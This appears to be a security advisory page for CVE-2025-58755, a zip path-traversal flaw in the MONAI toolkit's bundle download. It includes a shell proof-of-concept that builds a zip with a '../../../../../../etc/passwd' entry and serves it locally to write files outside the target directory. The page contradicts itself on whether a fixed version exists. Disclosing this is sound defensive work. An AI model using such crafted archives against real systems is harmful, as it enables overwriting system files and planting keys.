CVE-2025-58755: MONAI has path traversal issue that may lead to arbitrary file writes
Summary The extractall function zipfile.extractall(outputdir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.
When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p testbundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > testbundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd testbundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/testbundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/testbundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py testbundle Then start the http service through python root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='testbundle', url='http://localhost:8000/malicious.zip', bundledir='/tmp/testextract')" 2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download --- 2025-08-11 20:49:01,668 - INFO - > name: 'testbundle' 2025-08-11 20:49:01,668 - INFO - > bundledir: '/tmp/testextract' 2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting' 2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip' 2025-08-11 20:49:01,668 - INFO - > removeprefix: 'monai' 2025-08-11 20:49:01,668 - INFO - > progress: True 2025-08-11 20:49:01,668 - INFO - ---
testbundle.zip: 8.00kB [00:00, 204kB/s] 2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/testextract/testbundle.zip 2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/testextract/testbundle.zip. 2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/testextract. 2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/testextract/testbundle/configs/metadata.json. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls / autodl-pub cuda-keyring1.0-1all.deb home lib32 malicious.txt opt run sys var bin dev init lib64 media proc sbin tmp boot etc lib libx32 mnt root srv usr We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.
Impact Arbitrary file write
Repair Suggestions Check the contents of the downloaded Zip file, or use a safer method to load it
Other sources
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. The extractall function zipfile.extractall(outputdir) is used directly to process compressed files. It is used in many places in the project. In versions up to and including 1.5.0, when the Zip file containing malicious content is decompressed, it overwrites the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. As of time of publication, no known fixed versions are available.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-58755?
CVE-2025-58755 has a high severity rating due to improper handling of ZIP file extraction leading to potential arbitrary file writes.
How do I fix CVE-2025-58755?
To fix CVE-2025-58755, upgrade MONAI to version 1.5.1 or later where the vulnerability has been addressed.
What versions of MONAI are affected by CVE-2025-58755?
CVE-2025-58755 affects MONAI versions up to and including 1.5.0.
What kind of vulnerability is CVE-2025-58755?
CVE-2025-58755 is a security vulnerability associated with improper ZIP file processing, leading to potential risks in file handling.
Is CVE-2025-58755 a zero-day vulnerability?
CVE-2025-58755 is not classified as a zero-day vulnerability, as it has been publicly disclosed and patched.